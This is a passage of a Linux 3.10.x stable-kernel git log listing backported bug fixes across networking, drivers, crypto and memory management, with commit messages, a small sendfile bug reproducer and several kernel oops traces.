2a6c521bb41ce862e43db46f52e7681d33e8d771 upstream. On nv50+, we restrict the valid domains to just the one where the buffer was originally created. However after the buffer is evicted to system memory, we might move it back to a different domain that was not originally valid. When sharing the buffer and retrieving its GEM_INFO data, we still want the domain that will be valid for this buffer in a pushbuf, not the one where it currently happens to be. This resolves fdo#92504 and several others. These are due to suspend evicting all buffers, making it more likely that they temporarily end up in the wrong place. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=92504 Signed-off-by: Ilia Mirkin Signed-off-by: Ben Skeggs Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65911a0349df1ce5b785c044926bdd9c5fa86c52 Author: Jan Kara Date: Thu Oct 22 13:32:21 2015 -0700 mm: make sendfile(2) killable commit 296291cdd1629c308114504b850dc343eabc2782 upstream. Currently a simple program below issues a sendfile(2) system call which takes about 62 days to complete in my test KVM instance. int fd; off_t off = 0; fd = open("file", O_RDWR | O_TRUNC | O_SYNC | O_CREAT, 0644); ftruncate(fd, 2); lseek(fd, 0, SEEK_END); sendfile(fd, fd, &off, 0xfffffff); Now you should not ask kernel to do a stupid stuff like copying 256MB in 2-byte chunks and call fsync(2) after each chunk but if you do, sysadmin should have a way to stop you. We actually do have a check for fatal_signal_pending() in generic_perform_write() which triggers in this path however because we always succeed in writing something before the check is done, we return value > 0 from generic_perform_write() and thus the information about signal gets lost. Fix the problem by doing the signal check before writing anything. That way generic_perform_write() returns -EINTR, the error gets propagated up and the sendfile loop terminates early. Signed-off-by: Jan Kara Reported-by: Dmitry Vyukov Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3e115c26b4e33a60e7d47acbd54cf71341b8b034 Author: Charles Keepax Date: Tue Oct 20 10:25:58 2015 +0100 ASoC: wm8904: Correct number of EQ registers commit 97aff2c03a1e4d343266adadb52313613efb027f upstream. There are 24 EQ registers not 25, I suspect this bug came about because the registers start at EQ1 not zero. The bug is relatively harmless as the extra register written is an unused one. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0d31cdd6d8a218f997b7f6c317a111105eba3d65 Author: Vasant Hegde Date: Fri Oct 16 15:53:29 2015 +0530 powerpc/rtas: Validate rtas.entry before calling enter_rtas() commit 8832317f662c06f5c06e638f57bfe89a71c9b266 upstream. Currently we do not validate rtas.entry before calling enter_rtas(). This leads to a kernel oops when user space calls rtas system call on a powernv platform (see below). This patch adds code to validate rtas.entry before making enter_rtas() call. Oops: Exception in kernel mode, sig: 4 [#1] SMP NR_CPUS=1024 NUMA PowerNV task: c000000004294b80 ti: c0000007e1a78000 task.ti: c0000007e1a78000 NIP: 0000000000000000 LR: 0000000000009c14 CTR: c000000000423140 REGS: c0000007e1a7b920 TRAP: 0e40 Not tainted (3.18.17-340.el7_1.pkvm3_1_0.2400.1.ppc64le) MSR: 1000000000081000 CR: 00000000 XER: 00000000 CFAR: c000000000009c0c SOFTE: 0 NIP [0000000000000000] (null) LR [0000000000009c14] 0x9c14 Call Trace: [c0000007e1a7bba0] [c00000000041a7f4] avc_has_perm_noaudit+0x54/0x110 (unreliable) [c0000007e1a7bd80] [c00000000002ddc0] ppc_rtas+0x150/0x2d0 [c0000007e1a7be30] [c000000000009358] syscall_exit+0x0/0x98 Fixes: 55190f88789a ("powerpc: Add skeleton PowerNV platform") Reported-by: NAGESWARA R. SASTRY Signed-off-by: Vasant Hegde [mpe: Reword change log, trim oops, and add stable + fixes] Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f000d13e049c15b68069bec24bf99ebf0aa3fea7 Author: Joerg Roedel Date: Tue Oct 20 14:59:36 2015 +0200 iommu/amd: Don't clear DTE flags when modifying it commit cbf3ccd09d683abf1cacd36e3640872ee912d99b upstream. During device assignment/deassignment the flags in the DTE get lost, which might cause spurious faults, for example when the device tries to access the system management range. Fix this by not clearing the flags with the rest of the DTE. Reported-by: G. Richard Bellamy Tested-by: G. Richard Bellamy Signed-off-by: Joerg Roedel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f89ae830615521fd9e7b3479c26f2895257fc076 Author: Johannes Berg Date: Tue Sep 15 14:36:09 2015 +0200 iwlwifi: mvm: fix D3 firmware PN programming commit 2cf5eb3ab7bb7f2e3a70edcef236cd62c87db030 upstream. The code to send the RX PN data (for each TID) to the firmware has a devastating bug: it overwrites the data for TID 0 with all the TID data, leaving the remaining TIDs zeroed. This will allow replays to actually be accepted by the firmware, which could allow waking up the system. Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 462e9c8c02345cdf1a386908a6883d52fb22512e Author: Johannes Berg Date: Tue Sep 15 14:36:09 2015 +0200 iwlwifi: dvm: fix D3 firmware PN programming commit 5bd166872d8f99f156fac191299d24f828bb2348 upstream. The code to send the RX PN data (for each TID) to the firmware has a devastating bug: it overwrites the data for TID 0 with all the TID data, leaving the remaining TIDs zeroed. This will allow replays to actually be accepted by the firmware, which could allow waking up the system. Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 553f690c1b047f41224cb8ea7bdda81617738aa9 Author: Felix Fietkau Date: Thu Sep 24 16:59:46 2015 +0200 ath9k: declare required extra tx headroom commit 029cd0370241641eb70235d205aa0b90c84dce44 upstream. ath9k inserts padding between the 802.11 header and the data area (to align it). Since it didn't declare this extra required headroom, this led to some nasty issues like randomly dropped packets in some setups. Signed-off-by: Felix Fietkau Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3dae3ff113ad2a67f2dc334cccbcf524325470eb Author: Greg Kroah-Hartman Date: Tue Oct 27 09:45:05 2015 +0900 Linux 3.10.92 Signed-off-by: Pranav Vashi commit 47745c604bddedae0e199aec9727cf8c7aaa518f Author: Ilya Dryomov Date: Mon Aug 31 15:21:39 2015 +0300 rbd: fix double free on rbd_dev->header_name commit 3ebe138ac642a195c7f2efdb918f464734421fd6 upstream. If rbd_dev_image_probe() in rbd_dev_probe_parent() fails, header_name is freed twice: once in rbd_dev_probe_parent() and then in its caller rbd_dev_image_probe() (rbd_dev_image_probe() is called recursively to handle parent images). rbd_dev_probe_parent() is responsible for probing the parent, so it shouldn't muck with clone's fields. Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 16517480fb3eed75ff73854fd8c4d2f64bb63a97 Author: Mike Snitzer Date: Tue Oct 13 12:04:28 2015 -0400 dm thin: fix missing pool reference count decrement in pool_ctr error path commit ba30670f4d5292c4e7f7980bbd5071f7c4794cdd upstream. Fixes: ac8c3f3df ("dm thin: generate event when metadata threshold passed") Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 136d098edf54a8e7fbb1b067e01fcbc71da1f917 Author: Shaohua Li Date: Wed Sep 30 09:05:30 2015 -0700 workqueue: make sure delayed work run in local cpu commit 874bbfe600a660cba9c776b3957b1ce393151b76 upstream. My system keeps crashing with below message. vmstat_update() schedules a delayed work in current cpu and expects the work runs in the cpu. schedule_delayed_work() is expected to make delayed work run in local cpu. The problem is timer can be migrated with NO_HZ. __queue_work() queues work in timer handler, which could run in a different cpu other than where the delayed work is scheduled. The end result is the delayed work runs in different cpu. The patch makes __queue_delayed_work records local cpu earlier. Where the timer runs doesn't change where the work runs with the change. [ 28.010131] ------------[ cut here ]------------ [ 28.010609] kernel BUG at ../mm/vmstat.c:1392! [ 28.011099] invalid opcode: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN [ 28.011860] Modules linked in: [ 28.012245] CPU: 0 PID: 289 Comm: kworker/0:3 Tainted: G W4.3.0-rc3+ #634 [ 28.013065] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153802- 04/01/2014 [ 28.014160] Workqueue: events vmstat_update [ 28.014571] task: ffff880117682580 ti: ffff8800ba428000 task.ti: ffff8800ba428000 [ 28.015445] RIP: 0010:[] []vmstat_update+0x31/0x80 [ 28.016282] RSP: 0018:ffff8800ba42fd80 EFLAGS: 00010297 [ 28.016812] RAX: 0000000000000000 RBX: ffff88011a858dc0 RCX:0000000000000000 [ 28.017585] RDX: ffff880117682580 RSI: ffffffff81f14d8c RDI:ffffffff81f4df8d [ 28.018366] RBP: ffff8800ba42fd90 R08: 0000000000000001 R09:0000000000000000 [ 28.019169] R10: 0000000000000000 R11: 0000000000000121 R12:ffff8800baa9f640 [ 28.019947] R13: ffff88011a81e340 R14: ffff88011a823700 R15:0000000000000000 [ 28.020071] FS: 0000000000000000(0000) GS:ffff88011a800000(0000)knlGS:0000000000000000 [ 28.020071] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 28.020071] CR2: 00007ff6144b01d0 CR3: 00000000b8e93000 CR4:00000000000006f0 [ 28.020071] Stack: [ 28.020071] ffff88011a858dc0 ffff8800baa9f640 ffff8800ba42fe00ffffffff8106bd88 [ 28.020071] ffffffff8106bd0b 0000000000000096 0000000000000000ffffffff82f9b1e8 [ 28.020071] ffffffff829f0b10 0000000000000000 ffffffff81f18460ffff88011a81e340 [ 28.020071] Call Trace: [ 28.020071] [] process_one_work+0x1c8/0x540 [ 28.020071] [] ? process_one_work+0x14b/0x540 [ 28.020071] [] worker_thread+0x114/0x460 [ 28.020071] [] ? process_one_work+0x540/0x540 [ 28.020071] [] kthread+0xf8/0x110 [ 28.020071] [] ?kthread_create_on_node+0x200/0x200 [ 28.020071] [] ret_from_fork+0x3f/0x70 [ 28.020071] [] ?kthread_create_on_node+0x200/0x200 Signed-off-by: Shaohua Li Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fb516365b7934b5c5e52505438b59fb60c5a118a Author: Wolfram Sang Date: Fri Oct 9 10:39:25 2015 +0100 i2c: rcar: enable RuntimePM before registering to the core commit 4f7effddf4549d57114289f273710f077c4c330a upstream. The core may register clients attached to this master which may use funtionality from the master. So, RuntimePM must be enabled before, otherwise this will fail. While here, move drvdata, too. Reported-by: Geert Uytterhoeven Signed-off-by: Wolfram Sang Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bf901ce2e20752f77248ff018a9d33eb5c054be0 Author: Russell King Date: Fri Oct 9 20:43:33 2015 +0100 crypto: ahash - ensure statesize is non-zero commit 8996eafdcbad149ac0f772fb1649fbb75c482a6a upstream. Unlike shash algorithms, ahash drivers must implement export and import as their descriptors may contain hardware state and cannot be exported as is. Unfortunately some ahash drivers did not provide them and end up causing crashes with algif_hash. This patch adds a check to prevent these drivers from registering ahash algorithms until they are fixed. Signed-off-by: Russell King Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6501285fb7c4c6e7ac22435211548d419233e3c7 Author: Dave Kleikamp Date: Mon Oct 5 10:08:51 2015 -0500 crypto: sparc - initialize blkcipher.ivsize commit a66d7f724a96d6fd279bfbd2ee488def6b081bea upstream. Some of the crypto algorithms write to the initialization vector, but no space has been allocated for it. This clobbers adjacent memory. Signed-off-by: Dave Kleikamp Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4efd4a80d953ab4c19ae1f5c4530bdb5995f10c2 Author: Geert Uytterhoeven Date: Sun Jun 9 20:12:42 2013 +0200 m68k/uaccess: Fix asm constraints for userspace access commit 631d8b674f5f8235e9cb7e628b0fe9e5200e3158 upstream. When compiling a MMU kernel with CPU_HAS_ADDRESS_SPACES=n (e.g. "MMU=y allnoconfig": "echo CONFIG_MMU=y > allno.config && make KCONFIG_ALLCONFIG=1 allnoconfig"), we use plain "move" instead of "moves", and I got: CC arch/m68k/lib/uaccess.o {standard input}: Assembler messages: {standard input}:47: Error: operands mismatch -- statement `move.b %a0,(%a1)' ignored This happens because plain "move" doesn't support byte transfers between memory and address registers, while "moves" does. Fix the asm constraints for __generic_copy_from_user(), __generic_copy_to_user(), and __clear_user() to only use data registers when accessing userspace. Also, relax the asm constraints for 16-bit userspace accesses in __put_user() and __get_user(), as both "move" and "moves" do support such transfers between memory and address registers. Signed-off-by: Geert Uytterhoeven Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 333caf9858bf906c3bed4a155969daeb50c65e82 Author: Charles Keepax Date: Thu Nov 6 15:49:41 2014 +0000 asix: Do full reset during ax88772_bind [ Upstream commit 436c2a5036b6ffe813310df2cf327d3b69be0734 ] commit 3cc81d85ee01 ("asix: Don't reset PHY on if_up for ASIX 88772") causes the ethernet on Arndale to no longer function. This appears to be because the Arndale ethernet requires a full reset before it will function correctly, however simply reverting the above patch causes problems with ethtool settings getting reset. It seems the problem is that the ethernet is not properly reset during bind, and indeed the code in ax88772_bind that resets the device is a very small subset of the actual ax88772_reset function. This patch uses ax88772_reset in place of the existing reset code in ax88772_bind which removes some code duplication and fixes the ethernet on Arndale. It is still possible that the original patch causes some issues with suspend and resume but that seems like a separate issue and I haven't had a chance to test that yet. Signed-off-by: Charles Keepax Tested-by: Riku Voipio Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 013c419b7d7567165b95b5699b2d003dfcbb7932 Author: Michel Stam Date: Thu Oct 2 10:22:02 2014 +0200 asix: Don't reset PHY on if_up for ASIX 88772 [ Upstream commit 3cc81d85ee01e5a0b7ea2f4190e2ed1165f53c31 ] I've noticed every time the interface is set to 'up,', the kernel reports that the link speed is set to 100 Mbps/Full Duplex, even when ethtool is used to set autonegotiation to 'off', half duplex, 10 Mbps. It can be tested by: ifconfig eth0 down ethtool -s eth0 autoneg off speed 10 duplex half ifconfig eth0 up Then checking 'dmesg' for the link speed. Signed-off-by: Michel Stam Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6d20d4988974c38ec79182b3c16dbf47168e53b0 Author: Joe Perches Date: Wed Oct 14 01:09:40 2015 -0700 ethtool: Use kcalloc instead of kmalloc for ethtool_get_strings [ Upstream commit 077cb37fcf6f00a45f375161200b5ee0cd4e937b ] It seems that kernel memory can leak into userspace by a kmalloc, ethtool_get_strings, then copy_to_user sequence. Avoid this by using kcalloc to zero fill the copied buffer. Signed-off-by: Joe Perches Acked-by: Ben Hutchings Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6e6566287c1c18712555ea1c1b44e3cad93e857 Author: Guillaume Nault Date: Wed Sep 30 11:45:33 2015 +0200 ppp: don't override sk->sk_state in pppoe_flush_dev() [ Upstream commit e6740165b8f7f06d8caee0fceab3fb9d790a6fed ] Since commit 2b018d57ff18 ("pppoe: drop PPPOX_ZOMBIEs in pppoe_release"), pppoe_release() calls dev_put(po->pppoe_dev) if sk is in the PPPOX_ZOMBIE state. But pppoe_flush_dev() can set sk->sk_state to PPPOX_ZOMBIE _and_ reset po->pppoe_dev to NULL. This leads to the following oops: [ 570.140800] BUG: unable to handle kernel NULL pointer dereference at 00000000000004e0 [ 570.142931] IP: [] pppoe_release+0x50/0x101 [pppoe] [ 570.144601] PGD 3d119067 PUD 3dbc1067 PMD 0 [ 570.144601] Oops: 0000 [#1] SMP [ 570.144601] Modules linked in: l2tp_ppp l2tp_netlink l2tp_core ip6_udp_tunnel udp_tunnel pppoe pppox ppp_generic slhc loop crc32c_intel ghash_clmulni_intel jitterentropy_rng sha256_generic hmac drbg ansi_cprng aesni_intel aes_x86_64 ablk_helper cryptd lrw gf128mul glue_helper acpi_cpufreq evdev serio_raw processor button ext4 crc16 mbcache jbd2 virtio_net virtio_blk virtio_pci virtio_ring virtio [ 570.144601] CPU: 1 PID: 15738 Comm: ppp-apitest Not tainted 4.2.0 #1 [ 570.144601] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Debian-1.8.2-1 04/01/2014 [ 570.144601] task: ffff88003d30d600 ti: ffff880036b60000 task.ti: ffff880036b60000 [ 570.144601] RIP: 0010:[] [] pppoe_release+0x50/0x101 [pppoe] [ 570.144601] RSP: 0018:ffff880036b63e08 EFLAGS: 00010202 [ 570.144601] RAX: 0000000000000000 RBX: ffff880034340000 RCX: 0000000000000206 [ 570.144601] RDX: 0000000000000006 RSI: ffff88003d30dd20 RDI: ffff88003d30dd20 [ 570.144601] RBP: ffff880036b63e28 R08: 0000000000000001 R09: 0000000000000000 [ 570.144601] R10: 00007ffee9b50420 R11: ffff880034340078 R12: ffff8800387ec780 [ 570.144601] R13: ffff8800387ec7b0 R14: ffff88003e222aa0 R15: ffff8800387ec7b0 [ 570.144601] FS: 00007f5672f48700(0000) GS:ffff88003fc80000(0000) knlGS:0000000000000000 [ 570.144601] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 570.144601] CR2: 00000000000004e0 CR3: 0000000037f7e000 CR4: 00000000000406a0 [ 570.144601] Stack: [ 570.144601] ffffffffa018f240 ffff8800387ec780 ffffffffa018f240 ffff8800387ec7b0 [ 570.144601] ffff880036b63e48 ffffffff812caabe ffff880039e4e000 0000000000000008 [ 570.144601] ffff880036b63e58 ffffffff812cabad ffff880036b63ea8 ffffffff811347f5 [ 570.144601] Call Trace: [ 570.144601] [] sock_release+0x1a/0x75 [ 570.144601] [] sock_close+0xd/0x11 [ 570.144601] [] __fput+0xff/0x1a5 [ 570.144601] [] ____fput+0x9/0xb [ 570.144601] [] task_work_run+0x66/0x90 [ 570.144601] [] prepare_exit_to_usermode+0x8c/0xa7 [ 570.144601] [] syscall_return_slowpath+0x16d/0x19b [ 570.144601] [] int_ret_from_sys_call+0x25/0x9f [ 570.144601] Code: 48 8b 83 c8 01 00 00 a8 01 74 12 48 89 df e8 8b 27 14 e1 b8 f7 ff ff ff e9 b7 00 00 00 8a 43 12 a8 0b 74 1c 48 8b 83 a8 04 00 00 <48> 8b 80 e0 04 00 00 65 ff 08 48 c7 83 a8 04 00 00 00 00 00 00 [ 570.144601] RIP [] pppoe_release+0x50/0x101 [pppoe] [ 570.144601] RSP [ 570.144601] CR2: 00000000000004e0 [ 570.200518] ---[ end trace 46956baf17349563 ]--- pppoe_flush_dev() has no reason to override sk->sk_state with PPPOX_ZOMBIE. pppox_unbind_sock() already sets sk->sk_state to PPPOX_DEAD, which is the correct state given that sk is unbound and po->pppoe_dev is NULL. Fixes: 2b018d57ff18 ("pppoe: drop PPPOX_ZOMBIEs in pppoe_release") Tested-by: Oleksii Berezhniak Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb86da2881a87e5588196704bab29be3f5d0153d Author: Eric Dumazet Date: Tue Sep 29 18:52:25 2015 -0700 net: add pfmemalloc check in sk_add_backlog() [ Upstream commit c7c49b8fde26b74277188bdc6c9dca38db6fa35b ] Greg reported crashes hitting the following check in __sk_backlog_rcv() BUG_ON(!sock_flag(sk, SOCK_MEMALLOC)); The pfmemalloc bit is currently checked in sk_filter(). This works correctly for TCP, because sk_filter() is ran in tcp_v[46]_rcv() before hitting the prequeue or backlog checks. For UDP or other protocols, this does not work, because the sk_filter() is ran from sock_queue_rcv_skb(), which might be called _after_ backlog queuing if socket is owned by user by the time packet is processed by softirq handler. Fixes: b4b9e35585089 ("netvm: set PF_MEMALLOC as appropriate during SKB processing") Signed-off-by: Eric Dumazet Reported-by: Greg Thelen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c81b03241a69861009d4b0e67255106c00e63232 Author: Pravin B Shelar Date: Mon Sep 28 17:24:25 2015 -0700 skbuff: Fix skb checksum partial check. [ Upstream commit 31b33dfb0a144469dd805514c9e63f4993729a48 ] Earlier patch 6ae459bda tried to detect void ckecksum partial skb by comparing pull length to checksum offset. But it does not work for all cases since checksum-offset depends on updates to skb->data. Following patch fixes it by validating checksum start offset after skb-data pointer is updated. Negative value of checksum offset start means there is no need to checksum. Fixes: 6ae459bda ("skbuff: Fix skb checksum flag on skb pull") Reported-by: Andrew Vagin Signed-off-by: Pravin B Shelar Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 761c7220f853b34ae51047c3d447bb04d56d900e Author: Pravin B Shelar Date: Tue Sep 22 12:57:53 2015 -0700 skbuff: Fix skb checksum flag on skb pull [ Upstream commit 6ae459bdaaeebc632b16e54dcbabb490c6931d61 ] VXLAN device can receive skb with checksum partial. But the checksum offset could be in outer header which is pulled on receive. This results in negative checksum offset for the skb. Such skb can cause the assert failure in skb_checksum_help(). Following patch fixes the bug by setting checksum-none while pulling outer header. Following is the kernel panic msg from old kernel hitting the bug. ------------[ cut here ]------------ kernel BUG at net/core/dev.c:1906! RIP: 0010:[] skb_checksum_help+0x144/0x150 Call Trace: [] queue_userspace_packet+0x408/0x470 [openvswitch] [] ovs_dp_upcall+0x5d/0x60 [openvswitch] [] ovs_dp_process_packet_with_key+0xe6/0x100 [openvswitch] [] ovs_dp_process_received_packet+0x4b/0x80 [openvswitch] [] ovs_vport_receive+0x2a/0x30 [openvswitch] [] vxlan_rcv+0x53/0x60 [openvswitch] [] vxlan_udp_encap_recv+0x8b/0xf0 [openvswitch] [] udp_queue_rcv_skb+0x2dc/0x3b0 [] __udp4_lib_rcv+0x1cf/0x6c0 [] udp_rcv+0x1a/0x20 [] ip_local_deliver_finish+0xdd/0x280 [] ip_local_deliver+0x88/0x90 [] ip_rcv_finish+0x10d/0x370 [] ip_rcv+0x235/0x300 [] __netif_receive_skb+0x55d/0x620 [] netif_receive_skb+0x80/0x90 [] virtnet_poll+0x555/0x6f0 [] net_rx_action+0x134/0x290 [] __do_softirq+0xa8/0x210 [] call_softirq+0x1c/0x30 [] do_softirq+0x65/0xa0 [] irq_exit+0x8e/0xb0 [] do_IRQ+0x63/0xe0 [] common_interrupt+0x6e/0x6e Reported-by: Anupam Chanda Signed-off-by: Pravin B Shelar Acked-by: Tom Herbert Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c08fe446bea551657234a9bcce1e6618d315c820 Author: Aaron Conole Date: Sat Sep 26 18:50:43 2015 -0400 af_unix: return data from multiple SKBs on recv() with MSG_PEEK flag [ Upstream commit 9f389e35674f5b086edd70ed524ca0f287259725 ] AF_UNIX sockets now return multiple skbs from recv() when MSG_PEEK flag is set. This is referenced in kernel bugzilla #12323 @ https://bugzilla.kernel.org/show_bug.cgi?id=12323 As described both in the BZ and lkml thread @ http://lkml.org/lkml/2008/1/8/444 calling recv() with MSG_PEEK on an AF_UNIX socket only reads a single skb, where the desired effect is to return as much skb data has been queued, until hitting the recv buffer size (whichever comes first). The modified MSG_PEEK path will now move to the next skb in the tree and jump to the again: label, rather than following the natural loop structure. This requires duplicating some of the loop head actions. This was tested using the python socketpair python code attached to the bugzilla issue. Signed-off-by: Aaron Conole Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 79fbd7f859657129205cd2b9381290ed9bae64c0 Author: Aaron Conole Date: Sat Sep 26 18:50:42 2015 -0400 af_unix: Convert the unix_sk macro to an inline function for type safety [ Upstream commit 4613012db1d911f80897f9446a49de817b2c4c47 ] As suggested by Eric Dumazet this change replaces the #define with a static inline function to enjoy complaints by the compiler when misusing the API. Signed-off-by: Aaron Conole Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cde5ee35d08852ac625a7fa53ea0218f4419a2f9 Author: Alexander Couzens Date: Mon Sep 28 11:32:42 2015 +0200 l2tp: protect tunnel->del_work by ref_count [ Upstream commit 06a15f51cf3618e32a73871ee6a547ef7fd902b5 ] There is a small chance that tunnel_free() is called before tunnel->del_work scheduled resulting in a zero pointer dereference. Signed-off-by: Alexander Couzens Acked-by: James Chapman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9dbfaa2167f4a311410add3aaf142b85fdfaef31 Author: Greg Kroah-Hartman Date: Thu Oct 22 14:38:04 2015 -0700 Linux 3.10.91 Signed-off-by: Pranav Vashi commit 7a64668a351dd85f51344cd1b119624210c7f28b Author: Christoph Hellwig Date: Sat Oct 3 19:16:07 2015 +0200 3w-9xxx: don't unmap bounce buffered commands commit 15e3d5a285ab9283136dba34bbf72886d9146706 upstream. 3w controller don't dma map small single SGL entry commands but instead bounce buffer them. Add a helper to identify these commands and don't call scsi_dma_unmap for them. Based on an earlier patch from James Bottomley. Fixes: 118c85 ("3w-9xxx: fix command completion race") Reported-by: Tóth Attila Tested-by: Tóth Attila Signed-off-by: Christoph Hellwig Acked-by: Adam Radford Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ff91e79e3ad52795a8e3350c9a0a131bd7b881f4 Author: covici@ccs.covici.com Date: Wed May 20 05:44:11 2015 -0400 staging: speakup: fix speakup-r regression commit b1d562acc78f0af46de0dfe447410bc40bdb7ece upstream. Here is a patch to make speakup-r work again. It broke in 3.6 due to commit 4369c64c79a22b98d3b7eff9d089196cd878a10a "Input: Send events one packet at a time) The problem was that the fakekey.c routine to fake a down arrow no longer functioned properly and putting the input_sync fixed it. Fixes: 4369c64c79a22b98d3b7eff9d089196cd878a10a Acked-by: Samuel Thibault Signed-off-by: John Covici Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a69e82dd64a3f4a932ee2ec44660cdb6d4df2d01 Author: Joe Thornber Date: Fri Oct 9 14:03:38 2015 +0100 dm cache: fix NULL pointer when switching from cleaner policy commit 2bffa1503c5c06192eb1459180fac4416575a966 upstream. The cleaner policy doesn't make use of the per cache block hint space in the metadata (unlike the other policies). When switching from the cleaner policy to mq or smq a NULL pointer crash (in dm_tm_new_block) was observed. The crash was caused by bugs in dm-cache-metadata.c when trying to skip creation of the hint btree. The minimal fix is to change hint size for the cleaner policy to 4 bytes (only hint size supported). Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56a9dbc1baffb96486191e6257f4d458e39466f6 Author: Andi Kleen Date: Fri Aug 16 14:17:19 2013 -0700 x86: Add 1/2/4/8 byte optimization to 64bit __copy_{from,to}_user_inatomic commit ff47ab4ff3cddfa7bc1b25b990e24abe2ae474ff upstream. The 64bit __copy_{from,to}_user_inatomic always called copy_from_user_generic, but skipped the special optimizations for 1/2/4/8 byte accesses. This especially hurts the futex call, which accesses the 4 byte futex user value with a complicated fast string operation in a function call, instead of a single movl. Use __copy_{from,to}_user for _inatomic instead to get the same optimizations. The only problem was the might_fault() in those functions. So move that to new wrapper and call __copy_{f,t}_user_nocheck() from *_inatomic directly. 32bit already did this correctly by duplicating the code. Signed-off-by: Andi Kleen Link: http://lkml.kernel.org/r/1376687844-19857-2-git-send-email-andi@firstfloor.org Signed-off-by: H. Peter Anvin Cc: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b764a99e0d4b03a620275bd2c7351693c503837f Author: Ben Hutchings Date: Sat Sep 26 12:23:56 2015 +0100 genirq: Fix race in register_irq_proc() commit 95c2b17534654829db428f11bcf4297c059a2a7e upstream. Per-IRQ directories in procfs are created only when a handler is first added to the irqdesc, not when the irqdesc is created. In the case of a shared IRQ, multiple tasks can race to create a directory. This race condition seems to have been present forever, but is easier to hit with async probing. Signed-off-by: Ben Hutchings Link: http://lkml.kernel.org/r/1443266636.2004.2.camel@decadent.org.uk Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7786198cdf301baa10dc32c92b4bed0b7098bd0 Author: Roland Dreier Date: Mon Oct 5 10:29:28 2015 -0700 fib_rules: Fix dump_rules() not to exit early Backports of 41fc014332d9 ("fib_rules: fix fib rule dumps across multiple skbs") introduced a regression in "ip rule show" - it ends up dumping the first rule over and over and never exiting, because 3.19 and earlier are missing commit 053c095a82cf ("netlink: make nlmsg_end() and genlmsg_end() void"), so fib_nl_fill_rule() ends up returning skb->len (i.e. > 0) in the success case. Fix this by checking the return code for < 0 instead of != 0. Signed-off-by: Roland Dreier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5b09a90d1df90f562ae077eb90271c0ece9df26f Author: dingtianhong Date: Thu Jul 16 16:30:02 2015 +0800 bonding: correct the MAC address for "follow" fail_over_mac policy [ Upstream commit a951bc1e6ba58f11df5ed5ddc41311e10f5fd20b ] The "follow" fail_over_mac policy is useful for multiport devices that either become confused or incur a performance penalty when multiple ports are programmed with the same MAC address, but the same MAC address still may happened by this steps for this policy: 1) echo +eth0 > /sys/class/net/bond0/bonding/slaves bond0 has the same mac address with eth0, it is MAC1. 2) echo +eth1 > /sys/class/net/bond0/bonding/slaves eth1 is backup, eth1 has MAC2. 3) ifconfig eth0 down eth1 became active slave, bond will swap MAC for eth0 and eth1, so eth1 has MAC1, and eth0 has MAC2. 4) ifconfig eth1 down there is no active slave, and eth1 still has MAC1, eth2 has MAC2. 5) ifconfig eth0 up the eth0 became active slave again, the bond set eth0 to MAC1. Something wrong here, then if you set eth1 up, the eth0 and eth1 will have the same MAC address, it will break this policy for ACTIVE_BACKUP mode. This patch will fix this problem by finding the old active slave 